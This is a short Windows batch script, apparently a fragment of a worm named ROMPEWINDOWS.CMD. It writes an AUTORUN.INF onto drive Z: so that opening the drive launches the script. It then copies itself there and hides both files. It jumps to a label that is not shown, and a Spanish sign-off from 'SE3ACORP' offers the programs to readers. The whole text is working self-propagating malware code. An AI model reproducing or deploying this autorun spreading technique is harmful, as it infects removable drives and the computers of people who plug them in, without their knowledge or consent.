ECHO [AUTORUN]>>"Z:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"Z:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"Z:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"Z:\AUTORUN.INF"
ATTRIB -H "Z:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "Z:\"
ATTRIB +H "Z:\AUTORUN.INF"
ATTRIB +H "Z:\ROMPEWINDOWS.CMD"
GOTO C
exit

ESPERO QUE LOS PROGRAMAS LES SIRBAN DE AYUDA, ATENTAMENTE:
SE3ACORP